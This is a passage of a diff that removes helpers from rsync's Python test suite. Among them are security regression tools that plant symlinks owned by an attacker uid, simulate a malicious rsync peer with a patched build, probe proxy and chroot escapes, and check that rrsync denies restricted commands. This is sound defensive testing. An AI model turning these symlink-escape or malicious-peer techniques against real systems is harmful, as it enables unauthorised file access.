str = '') -> 'None':\n-    \"\"\"Fail unless files `a` and `b` have byte-identical content.\"\"\"\n-    if not filecmp.cmp(str(a), str(b), shallow=False):\n-        test_fail(f\"{_tag(label)}content differs between {a} and {b}\")\n-\n-\n-def assert_mode(path, expected_octal: int, label: str = '') -> 'None':\n-    \"\"\"Fail unless the permission bits (low 12) of `path` equal expected_octal\n-    (pass an int like 0o644). Does not follow symlinks.\"\"\"\n-    mode = stat.S_IMODE(os.stat(path, follow_symlinks=False).st_mode)\n-    if mode != expected_octal:\n-        test_fail(f\"{_tag(label)}mode {mode:04o} != expected \"\n-                  f\"{expected_octal:04o} on {path}\")\n-\n-\n-def assert_mtime_close(a, b, tol: float = 1.0, label: str = '') -> 'None':\n-    \"\"\"Fail unless the mtimes of `a` and `b` are within `tol` seconds.\n-    `b` may be a number (an explicit epoch mtime) instead of a path.\"\"\"\n-    ma = os.stat(a, follow_symlinks=False).st_mtime\n-    mb = b if isinstance(b, (int, float)) else os.stat(\n-        b, follow_symlinks=False).st_mtime\n-    if abs(ma - mb) > tol:\n-        test_fail(f\"{_tag(label)}mtime {ma} vs {mb} differ by > {tol}s \"\n-                  f\"(checking {a})\")\n-\n-\n-def assert_is_symlink(path, target: str = None, label: str = '') -> 'None':\n-    \"\"\"Fail unless `path` is a symlink (optionally pointing exactly at\n-    `target`).\"\"\"\n-    if not os.path.islink(path):\n-        test_fail(f\"{_tag(label)}{path} is not a symlink\")\n-    if target is not None:\n-        actual = os.readlink(path)\n-        if actual != target:\n-            test_fail(f\"{_tag(label)}{path} -> {actual!r}, \"\n-                      f\"expected {target!r}\")\n-\n-\n-def assert_hardlinked(a, b, label: str = '') -> 'None':\n-    \"\"\"Fail unless `a` and `b` are the same inode (a hard link / --link-dest\n-    result).\"\"\"\n-    sa = os.stat(a, follow_symlinks=False)\n-    sb = os.stat(b, follow_symlinks=False)\n-    if (sa.st_dev, sa.st_ino) != (sb.st_dev, sb.st_ino):\n-        test_fail(f\"{_tag(label)}{a} and {b} are not hard-linked \"\n-                  f\"(ino {sa.st_ino} vs {sb.st_ino})\")\n-\n-\n-def assert_not_hardlinked(a, b, label: str = '') -> 'None':\n-    \"\"\"Fail if `a` and `b` share an inode (e.g. --copy-dest must copy, not\n-    link).\"\"\"\n-    sa = os.stat(a, follow_symlinks=False)\n-    sb = os.stat(b, follow_symlinks=False)\n-    if (sa.st_dev, sa.st_ino) == (sb.st_dev, sb.st_ino):\n-        test_fail(f\"{_tag(label)}{a} and {b} unexpectedly share \"\n-                  f\"inode {sa.st_ino}\")\n-\n-\n-def assert_exists(path, label: str = '') -> 'None':\n-    \"\"\"Fail unless `path` exists (a symlink counts even if dangling).\"\"\"\n-    if not os.path.lexists(path):\n-        test_fail(f\"{_tag(label)}{path} does not exist\")\n-\n-\n-def assert_not_exists(path, label: str = '') -> 'None':\n-    \"\"\"Fail if `path` exists (a dangling symlink counts as existing).\"\"\"\n-    if os.path.lexists(path):\n-        test_fail(f\"{_tag(label)}{path} exists but should not\")\n-\n-\n-_psf_cache = None\n-\n-\n-def proc_self_fd_pins() -> bool:\n-    \"\"\"True iff /proc/self/fd/N is a Linux-style magic symlink whose readlink\n-    yields the open file's real path -- the primitive rrsync's realpath-vs-exec\n-    inode-pin relies on.  macOS/BSD lack the directory; Solaris HAS /proc/self/fd\n-    but its entries are not such symlinks.  Mirrors rrsync's own HAVE_PROC_SELF_FD\n-    probe so the rrsync race test runs only where the protection actually exists\n-    (it falls through unpinned, by design, elsewhere).  Cached.\n-\n-    A correct readlink does not prove the fd pins anything, and two platforms\n-    get this wrong in opposite directions: NetBSD makes the entry a symlink for\n-    directories only (readlink of a regular file's entry fails with EINVAL),\n-    while Cygwin's readlink is right but opening the magic link RE-RESOLVES the\n-    path, so a rename under a held fd reaches the replacement. Only Linux gives\n-    the inode-bound magic link, so require that and keep the probes as a guard\n-    for Linux-like environments without /proc.\"\"\"\n-    global _psf_cache\n-    if _psf_cache is not None:\n-        return _psf_cache\n-    if not sys.platform.startswith(('linux', 'android')):\n-        _psf_cache = False\n-        return _psf_cache\n-\n-    def resolves(path):\n-        try:\n-            fd = os.open(path, os.O_RDONLY)\n-        except OSError:\n-            return False\n-        try:\n-            return os.readlink('/proc/self/fd/%d' % fd) == os.path.realpath(path)\n-        except OSError:\n-            return False\n-        finally:\n-            os.close(fd)\n-\n-    _psf_cache = resolves('/') and resolves(os.path.realpath(__file__))\n-    return _psf_cache\n-\n-\n-def write_daemon_conf(modules, globals=None, *,\n-                      name: str = 'test-rsyncd.conf') -> 'Path':\n-    \"\"\"Write a custom rsyncd.conf for daemon-parameter tests.\n-\n-    `modules` is a list of (module_name, {param: value}) pairs; `globals` an\n-    optional dict of global parameters that override the minimal defaults\n-    (pid file / use chroot=no / hosts allow / log file / max verbosity).\n-    Mirrors build_rsyncd_conf()'s root-aware uid/gid handling (only emitted\n-    when running as root) and writes the same `ignore23` wrapper, but lets a\n-    test set arbitrary parameters/modules beyond the fixed four. Returns the\n-    config path; pair with start_test_daemon().\n-    \"\"\"\n-    conf = SCRATCHDIR / name\n-    pidfile = SCRATCHDIR / 'rsyncd.pid'\n-    logfile = SCRATCHDIR / 'rsyncd.log'\n-\n-    g = {\n-        'pid file': str(pidfile),\n-        'use chroot': 'no',\n-        'hosts allow': 'localhost 127.0.0.0/8',\n-        'log file': str(logfile),\n-        'max verbosity': '4',\n-    }\n-    if globals:\n-        g.update(globals)\n-    if get_testuid() == get_rootuid():\n-        g.setdefault('uid', str(get_rootuid()))\n-        g.setdefault('gid', str(get_rootgid()))\n-    else:\n-        # Non-root cannot set uid/gid in rsyncd.conf.\n-        g.pop('uid', None)\n-        g.pop('gid', None)\n-\n-    lines = ['# autogenerated by rsyncfns.write_daemon_conf', '']\n-    lines += [f'{k} = {v}' for k, v in g.items()]\n-    lines.append('')\n-    for mod_name, params in modules:\n-        lines.append(f'[{mod_name}]')\n-        lines += [f'\\t{k} = {v}' for k, v in params.items()]\n-        lines.append('')\n-    conf.write_text('\\n'.join(lines) + '\\n')\n-\n-    ignore23 = SCRATCHDIR / 'ignore23'\n-    if not ignore23.exists():\n-        ignore23.write_text(\n-            '#!/bin/sh\\n'\n-            'if \"${@}\"; then exit; fi\\n'\n-            'ret=$?\\n'\n-            'if test $ret = 23; then exit; fi\\n'\n-            'exit $ret\\n'\n-        )\n-        ignore23.chmod(0o755)\n-\n-    return conf\n-\n-\n-# --- security regression helpers -------------------------------------------\n-\n-def expect_fail(argv, text, env=None, cwd=None):\n-    proc = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n-                          text=True, env=env, cwd=cwd)\n-    out = (proc.stdout or '') + (proc.stderr or '')\n-    if proc.returncode == 0:\n-        test_fail(f\"command unexpectedly succeeded: {argv!r}\\n{out}\")\n-    if text not in out:\n-        test_fail(f\"expected {text!r} in command output:\\n{out}\")\n-    return proc\n-\n-\n-def patched_rrsync(workdir, rsync_path=None):\n-    # The stub rsync just has to exec successfully; the BSDs keep true(1) in\n-    # /usr/bin, not /bin, so resolve it on PATH rather than hard-coding /bin/true.\n-    import re\n-    if rsync_path is None:\n-        rsync_path = shutil.which('true') or '/usr/bin/true'\n-    src = SRCDIR / 'support' / 'rrsync'\n-    dst = Path(workdir) / 'rrsync-under-test'\n-    # Rewrite rrsync's hardcoded RSYNC path to our stub by matching the assignment\n-    # line, not its value: a distro/port (e.g. FreeBSD's net/rsync) may ship a\n-    # different path (/usr/local/bin/rsync), and a value-specific str.replace()\n-    # would silently no-op and leave rrsync exec'ing the real rsync -- a\n-    # server-mode hang.  A callable replacement avoids re backslash-escaping.\n-    text, n = re.subn(r\"(?m)^RSYNC\\s*=.*$\",\n-                      lambda _m: f\"RSYNC = {rsync_path!r}\",\n-                      src.read_text())\n-    if n != 1:\n-        test_fail(f\"patched_rrsync: expected exactly one 'RSYNC =' line in {src}, found {n}\")\n-    dst.write_text(text)\n-    dst.chmod(0o755)\n-    return dst\n-\n-\n-def run_rrsync_denied(command, expected):\n-    base = SCRATCHDIR / expected.replace(' ', '_').replace('/', '_')\n-    base.mkdir(parents=True, exist_ok=True)\n-    restricted = base / 'restricted'\n-    restricted.mkdir(exist_ok=True)\n-    rrsync = patched_rrsync(base)\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': command}\n-    expect_fail([str(rrsync), '-ro', '-no-lock', str(restricted)], expected, env=env)\n-\n-\n-def make_proxy_server(port, response):\n-    listener = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)\n-    listener.setsockopt(_socket.SOL_SOCKET, _socket.SO_REUSEADDR, 1)\n-    listener.bind(('127.0.0.1', port))\n-    listener.listen(1)\n-\n-    def serve():\n-        conn, _ = listener.accept()\n-        try:\n-            conn.recv(65536)\n-            conn.sendall(response)\n-        finally:\n-            try:\n-                conn.close()\n-            finally:\n-                listener.close()\n-\n-    import threading\n-    t = threading.Thread(target=serve)\n-    t.daemon = True\n-    t.start()\n-    return t\n-\n-\n-def run_proxy_probe(port, host, expected):\n-    env = {**os.environ, 'RSYNC_PROXY': f'127.0.0.1:{port}'}\n-    proc = subprocess.run(\n-        rsync_argv(f'rsync://{host}/mod/', str(SCRATCHDIR / 'proxy-out')),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, env=env)\n-    out = (proc.stdout or '') + (proc.stderr or '')\n-    if proc.returncode == 0:\n-        test_fail(f\"proxy probe unexpectedly succeeded:\\n{out}\")\n-    if expected not in out:\n-        test_fail(f\"expected {expected!r} in proxy probe output:\\n{out}\")\n-    return proc\n-\n-\n-def setup_chroot_inner(name):\n-    if get_testuid() != get_rootuid():\n-        test_skipped(\"chroot /./ module regression requires root\")\n-    if _under_valgrind():\n-        # The daemon's per-connection child chroots into the module, after\n-        # which valgrind can no longer create its absolute --log-file %p path\n-        # and the child dies (the transfer then resets) -- skip under valgrind.\n-        test_skipped(\"daemon chroot prevents valgrind from writing its per-process log\")\n-    base = SCRATCHDIR / name\n-    outer = base / 'outer'\n-    inner = outer / 'inner'\n-    outside = outer / 'outside'\n-    src = base / 'src'\n-    rmtree(base)\n-    makepath(inner, outside, src)\n-    os.symlink('../outside', inner / 'linkparent')\n-    conf = write_daemon_conf([\n-        ('mod', {'path': str(outer) + '/./inner', 'read only': 'no',\n-                 'use chroot': 'yes', 'munge symlinks': 'no'}),\n-    ], name=f'{name}.conf')\n-    url = start_test_daemon(conf, 12940 + (abs(hash(name)) % 200))\n-    return base, inner, outside, src, url\n-\n-\n-def run_checked(argv):\n-    proc = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-    return proc, (proc.stdout or '') + (proc.stderr or '')\n-\n-\n-def build_patched_rsync(name, replacements, append_cflags=None):\n-    # Cygwin can't reliably rebuild a single patched unit from the copied tree:\n-    # make leaves the copied object in place (coarse NTFS mtimes) so the patch is\n-    # silently absent, and forcing the rebuild trips gcc-13's -fno-common link\n-    # errors against the prebuilt objects.  The malicious-peer behaviour these\n-    # tests simulate is platform-independent and is exercised on every POSIX\n-    # target, so skip the unbuildable simulation here rather than misreport it.\n-    if sys.platform == 'cygwin' or platform.system().startswith('CYGWIN'):\n-        test_skipped(f\"{name}: build_patched_rsync is unreliable on Cygwin \"\n-                     \"(prebuilt-object staleness / -fno-common relink); the \"\n-                     \"patched-peer fix is validated on the POSIX targets\")\n-    if not (SRCDIR / 'Makefile').is_file():\n-        test_skipped(f\"{name}: needs a configured rsync source tree with a Makefile\")\n-    if not shutil.which('make'):\n-        test_skipped(f\"{name}: make(1) not on PATH\")\n-    if not shutil.which('gcc') and not shutil.which('cc'):\n-        test_skipped(f\"{name}: no C compiler on PATH\")\n-\n-    work = SCRATCHDIR / name\n-    rmtree(work)\n-    shutil.copytree(\n-        SRCDIR, work, symlinks=True,\n-        ignore=shutil.ignore_patterns(\n-            'testtmp', '.git', 'auto-build-save', 'autom4te.cache', '__pycache__'))\n-\n-    for relpath, old, new in replacements:\n-        path = work / relpath\n-        text = path.read_text()\n-        if old not in text:\n-            test_skipped(f\"{name}: could not find patch target in {relpath}: {old!r}\")\n-        path.write_text(text.replace(old, new, 1))\n-        # Drop the copied object for this unit.  copytree() preserves mtimes, so\n-        # on a target whose clock lags the host that pushed the tree -- or one\n-        # with coarse mtime granularity -- the prebuilt .o can look NEWER than\n-        # the just-patched .c, make reuses it, and the patch is silently absent.\n-        # The test then exercises an unmodified peer and reports a vacuous\n-        # result instead of a real one.\n-        obj = (work / relpath).with_suffix('.o')\n-        if obj.exists():\n-            obj.unlink()\n-\n-    # Same hazard at the link step: a prebuilt binary with a future mtime looks\n-    # up to date even once its objects have been rebuilt.\n-    for stale in (work / 'rsync', work / 'rsync.exe'):\n-        if stale.exists():\n-            stale.unlink()\n-\n-    # Optionally append compiler flags (e.g. -fwrapv) to the already-configured\n-    # CFLAGS line in the copied Makefile.  This preserves the platform's\n-    # configure-chosen flags and just adds to them, unlike a `make CFLAGS=...`\n-    # override which would drop them.\n-    if append_cflags:\n-        import re\n-        mkpath = work / 'Makefile'\n-        mk = mkpath.read_text()\n-        mk2 = re.sub(r'(?m)^(CFLAGS=.*)$', r'\\1 ' + append_cflags, mk, count=1)\n-        if mk2 == mk:\n-            test_skipped(f\"{name}: could not append {append_cflags!r} to CFLAGS in the Makefile\")\n-        mkpath.write_text(mk2)\n-        # The copied tree carries prebuilt objects compiled with the ORIGINAL\n-        # flags; since the sources aren't newer, make would reuse them and the\n-        # appended flag would silently apply to nothing.  Drop them so every\n-        # unit recompiles with the new CFLAGS.\n-        for obj in work.rglob('*.o'):\n-            obj.unlink()\n-\n-    env = {**os.environ, 'CCACHE_DISABLE': '1'}\n-    build = subprocess.run(['make', '-j2', 'rsync'], cwd=str(work), env=env,\n-                           stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    rsync = work / 'rsync'\n-    if build.returncode != 0 or not rsync.is_file() or not os.access(rsync, os.X_OK):\n-        test_skipped(\n-            f\"{name}: patched rsync build failed (rc={build.returncode}). \"\n-            \"Tail of build output:\\n\" + '\\n'.join(build.stdout.splitlines()[-20:]))\n-    return rsync\n-\n-\n-# --- operator-supplied-path symlink policy matrix --------------------------\n-#\n-# Policy: an operator-supplied path follows a symlink at any component iff that\n-# symlink is owned by uid 0 or the running euid, and refuses one owned by any\n-# other uid -- for absolute and relative paths alike.  --insecure-links is a\n-# LOCAL opt-out that restores legacy following (a daemon never honours it; that\n-# is covered by a separate daemon test).  run_symlink_matrix() drives one\n-# path-taking option through {cross-uid vs same-uid} x {absolute vs relative} x\n-# {symlink-at-leaf vs symlink-in-a-parent-component} x {--insecure-links off/on}\n-# and asserts each cell against the policy:  FOLLOW iff (insecure or same-uid).\n-\n-def find_attacker_uid():\n-    \"\"\"An untrusted uid (not 0, not the euid) for a cross-uid plant, else None.\"\"\"\n-    import pwd\n-    for nm in ('nobody', 'nfsnobody', 'daemon'):\n-        try:\n-            u = pwd.getpwnam(nm).pw_uid\n-        except KeyError:\n-            continue\n-        if u != 0 and u != os.geteuid():\n-            return u\n-    return None\n-\n-\n-def run_symlink_matrix(option, case, *, paths=('abs', 'rel'),\n-                       wheres=('leaf', 'parent'), label=''):\n-    \"\"\"Run `case(ctx)` over the operator-path symlink matrix; assert the policy.\n-\n-    `case(ctx)` plants the option's path symlink (per ctx.where/ctx.abspath),\n-    runs rsync (honouring ctx.insecure), and returns True if the symlink was\n-    FOLLOWED (the op escaped to ctx.outside / read an out-of-tree object).\n-    ctx carries: base, outside, plant (fresh Paths); owner ('cross'|'self');\n-    att_uid; abspath ('abs'|'rel'); where ('leaf'|'parent'); insecure (bool);\n-    and plant_link(at, target) which symlinks target->at and lchowns it to the\n-    attacker uid when owner=='cross' (otherwise it stays euid-owned).\n-\n-    Cross-uid cells need root (to own a symlink by a foreign uid) and are\n-    skipped otherwise; same-uid cells run at any uid.\n-    \"\"\"\n-    import re\n-    import types\n-    tag = option + (f' [{label}]' if label else '')\n-    euid = os.geteuid()\n-    att = find_attacker_uid() if euid == 0 else None\n-    slug = re.sub(r'[^a-z0-9]+', '-', tag.lower()).strip('-')\n-\n-    for abspath in paths:\n-        for where in wheres:\n-            for insecure in (False, True):\n-                owners = ('self', 'cross') if att is not None else ('self',)\n-                for owner in owners:\n-                    base = SCRATCHDIR / (f\"{slug}-{owner}-{abspath}-{where}-\"\n-                                         + ('ins' if insecure else 'safe'))\n-                    rmtree(base)\n-                    base.mkdir(parents=True)\n-                    ctx = types.SimpleNamespace(\n-                        base=base, outside=base / 'outside', plant=base / 'plant',\n-                        owner=owner, att_uid=att, abspath=abspath, where=where,\n-                        insecure=insecure)\n-                    ctx.outside.mkdir()\n-                    ctx.plant.mkdir()\n-\n-                    def plant_link(at, target, _c=ctx):\n-                        os.symlink(target, at)\n-                        if _c.owner == 'cross':\n-                            os.lchown(at, _c.att_uid, _c.att_uid)\n-                    ctx.plant_link = plant_link\n-\n-                    followed = bool(case(ctx))\n-                    expect = insecure or owner == 'self'\n-                    cell = f\"{abspath} {where} {'insecure' if insecure else 'safe'}\"\n-                    if followed and not expect:\n-                        test_fail(\n-                            f\"{tag}: CROSS-UID {cell}: the planted symlink was \"\n-                            \"FOLLOWED (op escaped to outside/). An operator path \"\n-                            \"must refuse a symlink not owned by uid 0 or the euid.\")\n-                    if not followed and expect:\n-                        why = (\"--insecure-links did not restore symlink following\"\n-                               if insecure else\n-                               \"the operator's OWN (euid-owned) symlink was refused\")\n-                        test_fail(f\"{tag}: {('CROSS' if owner=='cross' else 'SAME')}\"\n-                                  f\"-UID {cell}: {why}.\")\n-    if att is None and euid != 0:\n-        print(f\"{tag}: same-uid cells confirmed; cross-uid cells need root (skipped)\")\n-\n-\n-def plant_operator_symlink(ctx, rel_anchor, kind='dir'):\n-    \"\"\"Plant this cell's option-path symlink and return (option_value, escape).\n-\n-    option_value is what to feed the option: an absolute path, or a name\n-    relative to rel_anchor (the directory the option resolves a relative value\n-    against -- e.g. the destination dir for --backup-dir/--link-dest, or the cwd\n-    for --temp-dir).  escape is the out-of-tree object the operation acts on IF\n-    the symlink is followed.\n-\n-    kind='dir'  (a directory option, e.g. --backup-dir/--temp-dir/--link-dest):\n-        leaf   -> the symlink itself is the dir; escape = ctx.outside.\n-        parent -> a parent component is the symlink; escape = ctx.outside/'sub'.\n-    kind='file' (a file option, e.g. --log-file/--files-from/--write-batch):\n-        leaf   -> the symlink targets the out-of-tree victim file directly.\n-        parent -> a parent component is the symlink; the leaf name is appended.\n-        escape = ctx.outside/'victim' either way.\n-    \"\"\"\n-    base = ctx.plant if ctx.abspath == 'abs' else rel_anchor\n-    if kind == 'file':\n-        victim = ctx.outside / 'victim'\n-        if ctx.where == 'leaf':\n-            link = base / 'osl'\n-            ctx.plant_link(link, victim)\n-            return (str(link) if ctx.abspath == 'abs' else 'osl'), victim\n-        link = base / 'opd'\n-        ctx.plant_link(link, ctx.outside)\n-        return ((str(link / 'victim') if ctx.abspath == 'abs' else 'opd/victim'),\n-                victim)\n-    if ctx.where == 'leaf':\n-        link = base / 'osl'\n-        ctx.plant_link(link, ctx.outside)\n-        return (str(link) if ctx.abspath == 'abs' else 'osl'), ctx.outside\n-    link = base / 'opd'\n-    ctx.plant_link(link, ctx.outside)\n-    return ((str(link / 'sub') if ctx.abspath == 'abs' else 'opd/sub'),\n-            ctx.outside / 'sub')\n-\n-\n-# --- variety tree (cross-version regression coverage) ----------------------\n-# A \"variety tree\" exercises every inode type rsync handles (dirs, regular\n-# files, symlinks, fifos, sockets, char/block devices) with a spread of\n-# permissions, xattrs, ACLs and (as root) ownership, plus heavy symlink\n-# coverage: links to each type, links that escape a transfer root via ../..,\n-# absolute links, and links whose intermediate components transit outside the\n-# tree. It is the source for differential tests that assert the current binary\n-# produces the same destination tree as an old release (see variety_test.py).\n-\n-def acls_supported() -> bool:\n-    \"\"\"True if this rsync was built with ACL support AND this platform has a\n-    usable setfacl/getfacl (or macOS chmod +a). Mirrors xattrs_supported().\"\"\"\n-    vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-    if '\"ACLs\": true' not in vv:\n-        return False\n-    if _SYSTEM in ('Linux', 'FreeBSD') or _CYGWIN:\n-        return (shutil.which('setfacl') is not None\n-                and shutil.which('getfacl') is not None)\n-    if _SYSTEM == 'Darwin':\n-        return shutil.which('chmod') is not None\n-    return False\n-\n-\n-@_functools.lru_cache(maxsize=1)\n-def devices_supported() -> bool:\n-    \"\"\"True if device nodes can be created here.\n-\n-    euid==0 is necessary but not sufficient: a user-namespaced container\n-    (rootless podman/docker, buildd chroots) reports euid==0 yet lacks\n-    CAP_MKNOD, so os.mknod() of a device fails EPERM.  Probe once.\"\"\"\n-    if os.geteuid() != 0 or not hasattr(os, 'mknod'):\n-        return False\n-    with tempfile.TemporaryDirectory(prefix='rsync-devprobe.') as d:\n-        try:\n-            os.mknod(os.path.join(d, 'p'), 0o600 | stat.S_IFCHR, os.makedev(1, 3))\n-        except (PermissionError, OSError):\n-            return False\n-    return True\n-\n-\n-def hardlink_symlinks_supported(where=None) -> bool:\n-    \"\"\"True if THIS FILESYSTEM can hard-link a symlink.\n-\n-    rsync's own \"hardlink_symlinks\" capability is a build-time answer and says\n-    nothing about the filesystem underneath: HFS+ returns ENOTSUP for\n-    link()-ing a symlink where APFS and Linux succeed.  Probe where the test\n-    data will actually live, not where the source tree is.\"\"\"\n-    d = tempfile.mkdtemp(prefix='rsync-hlsym.', dir=str(where) if where else None)\n-    try:\n-        link, hard = os.path.join(d, 's'), os.path.join(d, 'h')\n-        os.symlink('target-need-not-exist', link)\n-        try:\n-            os.link(link, hard, follow_symlinks=False)\n-        except NotImplementedError:\n-            return False\n-        except OSError as e:\n-            # Only \"the filesystem cannot do this\" answers the question.  EPERM,\n-            # ENOSPC, EMLINK, EIO or a quota refusal would otherwise be reported\n-            # as a capability difference and quietly reshape the caller's\n-            # expectations, so let those propagate.\n-            if e.errno in (errno.ENOTSUP, getattr(errno, 'EOPNOTSUPP', errno.ENOTSUP)):\n-                return False\n-            raise\n-        return True\n-    finally:\n-        shutil.rmtree(d, ignore_errors=True)\n-\n-\n-def owners_supported() -> bool:\n-    \"\"\"True if the builder may assign mixed uid/gid (euid==0).\"\"\"\n-    return os.geteuid() == 0\n-\n-\n-def make_fifo(path) -> 'None':\n-    \"\"\"Create a FIFO (named pipe) at `path`.\"\"\"\n-    os.mkfifo(str(path))\n-\n-\n-def make_socket(path) -> 'None':\n-    \"\"\"Create a UNIX-domain socket inode at `path`.\n-\n-    The AF_UNIX sun_path is capped at ~108 bytes, which a depth-8 absolute path\n-    can overflow, so we chdir to the parent and bind the bare (short) basename,\n-    restoring the cwd in a finally. The bound inode persists as an S_IFSOCK on\n-    disk after the socket is closed.\"\"\"\n-    path = Path(path)\n-    old = os.getcwd()\n-    s = _socket.socket(_socket.AF_UNIX, _socket.SOCK_STREAM)\n-    try:\n-        os.chdir(path.parent)\n-        s.bind(path.name)\n-    finally:\n-        s.close()\n-        os.chdir(old)\n-\n-\n-def make_device(path, kind: str, major: int, minor: int,\n-                mode: int = 0o644) -> 'None':\n-    \"\"\"Create a char ('c') or block ('b') device node. Caller must gate on\n-    devices_supported() -- unprivileged this raises PermissionError.\"\"\"\n-    fmt = stat.S_IFCHR if kind == 'c' else stat.S_IFBLK\n-    os.mknod(str(path), mode | fmt, os.makedev(major, minor))\n-\n-\n-def _acl_env() -> dict:\n-    \"\"\"Environment for getfacl/setfacl: scrub POSIXLY_CORRECT (which alters\n-    some getfacl builds' flag/header semantics) and pin LC_ALL=C.\"\"\"\n-    env = dict(os.environ)\n-    env.pop('POSIXLY_CORRECT', None)\n-    env['LC_ALL'] = 'C'\n-    return env\n-\n-\n-def acl_set(spec: str, path) -> bool:\n-    \"\"\"Apply one ACL entry `spec` (e.g. 'u:0:rwx', 'g:0:r-x', 'd:u:0:rwx' for a\n-    directory default entry) to `path` via setfacl. Returns True on success,\n-    False if the filesystem rejects ACLs (EOPNOTSUPP) so the caller degrades\n-    gracefully. macOS is not driven here (returns False).\"\"\"\n-    if not (_SYSTEM in ('Linux', 'FreeBSD') or _CYGWIN):\n-        return False\n-    proc = subprocess.run(['setfacl', '-m', spec, str(path)],\n-                          capture_output=True, text=True, env=_acl_env())\n-    return proc.returncode == 0\n-\n-\n-def _acl_sig(path) -> str:\n-    \"\"\"Path-free signature of a node's ACL entries, for comparing two trees.\n-    Strips getfacl's comment header (which embeds the path/owner) and sorts the\n-    entries so the result depends only on the access/default ACL, not on where\n-    the file lives. Empty when ACLs aren't readable here.\"\"\"\n-    if not (_SYSTEM in ('Linux', 'FreeBSD') or _CYGWIN):\n-        return ''\n-    try:\n-        out = subprocess.run(['getfacl', str(path)], capture_output=True,\n-                             text=True, env=_acl_env()).stdout\n-    except OSError:\n-        return ''\n-    return ';'.join(sorted(l for l in out.splitlines()\n-                           if l.strip() and not l.startswith('#')))\n-\n-\n-def _xattr_sig(path) -> str:\n-    \"\"\"Path-free signature of a node's user xattrs, for comparing two trees.\n-    Native on Linux (symmetric with xattr_set); getfattr with the '# file:'\n-    header stripped on Cygwin. Returns '' elsewhere -- xattr fidelity is gated\n-    on the Linux CI run, and tls still compares structure on every platform.\"\"\"\n-    p = str(path)\n-    if _SYSTEM == 'Linux':\n-        try:\n-            names = sorted(n for n in os.listxattr(p, follow_symlinks=False)\n-                           if n.startswith('user.'))\n-        except OSError:\n-            return ''\n-        out = []\n-        for n in names:\n-            try:\n-                v = os.getxattr(p, n, follow_symlinks=False)\n-            except OSError:\n-                continue\n-            out.append(n + '=' + v.decode('utf-8', 'surrogateescape'))\n-        return ';'.join(out)\n-    if _CYGWIN:\n-        try:\n-            d = subprocess.check_output(\n-                ['getfattr', '--no-dereference', '-d', p],\n-                text=True, stderr=subprocess.DEVNULL)\n-        except (subprocess.CalledProcessError, OSError):\n-            return ''\n-        return ';'.join(sorted(l for l in d.splitlines()\n-                               if l and not l.startswith('# file:')))\n-    return ''\n-\n-\n-def _variety_fill(path, size: int, key: str) -> 'None':\n-    \"\"\"Write `size` bytes of deterministic, non-trivial content derived from\n-    `key`, so a variety tree is byte-reproducible across separate builds.\"\"\"\n-    import hashlib\n-    buf = bytearray()\n-    i = 0\n-    while len(buf) < size:\n-        buf += hashlib.sha256(f'{key}:{i}'.encode()).digest()\n-        i += 1\n-    with open(str(path), 'wb') as f:\n-        f.write(bytes(buf[:size]))\n-\n-\n-def _all_entries(root) -> list:\n-    \"\"\"Every entry under `root` (the root dir, real subdirs, files, specials,\n-    and symlinks themselves) visited exactly once and WITHOUT following any\n-    symlink. For chown/utime finalisation that must not escape the tree.\"\"\"\n-    root = Path(root)\n-    res = []\n-    for dp, dns, fns in os.walk(root):       # followlinks=False\n-        d = Path(dp)\n-        res.append(d)\n-        for n in fns:\n-            res.append(d / n)\n-        for n in dns:\n-            sub = d / n\n-            if sub.is_symlink():             # os.walk won't recurse into it\n-                res.append(sub)\n-    return res\n-\n-\n-def make_variety_tree(root, *, depth: int = 8, with_acls=None, with_xattrs=None,\n-                      with_devices=None, with_owners=None,\n-                      seed: int = 0x5A17) -> dict:\n-    \"\"\"Build a deterministic 'variety tree' rooted at `root`.\n-\n-    Capability args default to None => auto-detect (xattrs_supported() etc.).\n-    Tests pass EXPLICIT bools so the current- and old-binary source trees are\n-    built with identical capabilities, keeping the differential comparison\n-    apples-to-apples. Re-runnable: rmtree(root) first; `seed` drives only fixed\n-    choices (no time/pid randomness) so two calls yield identical trees.\n-\n-    Layout (caller transfers root/transfer_root/):\n-      root/above/        real nodes ABOVE the transfer root (escape targets)\n-      root/transfer_root d0..d{depth-1} backbone; at each level a bouquet of\n-                         every type + a symlink to every type; plus abs_links/\n-                         (absolute links) and escape/ (../.. links that leave\n-                         the transfer root, one per above-root type).\n-\n-    Returns {'transfer_root': Path, 'above_targets': {type: Path},\n-             'counts': {type: n}}.\n-    \"\"\"\n-    root = Path(root)\n-    rmtree(root)\n-    if with_xattrs is None:\n-        with_xattrs = xattrs_supported()\n-    if with_acls is None:\n-        with_acls = acls_supported()\n-    if with_devices is None:\n-        with_devices = devices_supported()\n-    if with_owners is None:\n-        with_owners = owners_supported()\n-\n-    root.mkdir(parents=True)\n-    above = root / 'above'\n-    above.mkdir()\n-    troot = root / 'transfer_root'\n-    troot.mkdir()\n-\n-    counts = {}\n-    def bump(t):\n-        counts[t] = counts.get(t, 0) + 1\n-\n-    perm_cycle = [0o400, 0o640, 0o644, 0o600, 0o755]\n-\n-    def reg(p, size, mode=0o644):\n-        _variety_fill(p, size, f'{seed:x}:{os.path.relpath(p, root)}')\n-        os.chmod(p, mode)\n-        bump('file')\n-        return p\n-\n-    def mkdir1(p, mode=None):\n-        p.mkdir()\n-        if mode is not None:\n-            os.chmod(p, mode)\n-        bump('dir')\n-        return p\n-\n-    def lnk(target, p):\n-        os.symlink(target, p)\n-        bump('symlink')\n-        return p\n-\n-    # --- above-root real targets (escape/ links point here) ---\n-    above_targets = {}\n-    above_targets['dir'] = mkdir1(above / 'a_dir')\n-    reg(above / 'a_dir' / 'inner', 256)\n-    above_targets['file'] = reg(above / 'a_file', 8192)\n-    above_targets['fifo'] = above / 'a_fifo'; make_fifo(above_targets['fifo']); bump('fifo')\n-    above_targets['sock'] = above / 'a_sock'; make_socket(above_targets['sock']); bump('socket')\n-    if with_devices:\n-        above_targets['dev'] = above / 'a_dev_c'\n-        make_device(above_targets['dev'], 'c', 1, 3); bump('device')\n-        make_device(above / 'a_dev_b', 'b', 7, 0); bump('device')\n-    above_targets['link'] = lnk('a_file', above / 'a_link')\n-\n-    # --- depth backbone with a bouquet at each level ---\n-    cur = troot\n-    for n in range(depth):\n-        reg(cur / f'f{n}', 